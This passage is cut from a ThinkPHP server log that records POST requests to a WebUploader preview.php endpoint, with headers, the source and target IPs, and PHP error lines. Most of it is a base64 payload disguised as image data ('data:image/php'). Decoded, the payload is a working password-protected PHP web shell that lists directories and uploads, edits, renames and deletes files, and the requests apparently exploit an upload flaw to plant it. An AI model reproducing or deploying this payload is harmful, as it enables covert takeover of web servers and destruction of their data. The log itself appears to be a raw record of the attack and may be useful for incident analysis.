zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:38+08:00 ] 116.213.36.234 POST 59.110.137.245/Public/static/webuploader/0.1.15/server/preview.php [运行时间:0.002798s] [吞吐率:357.42req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 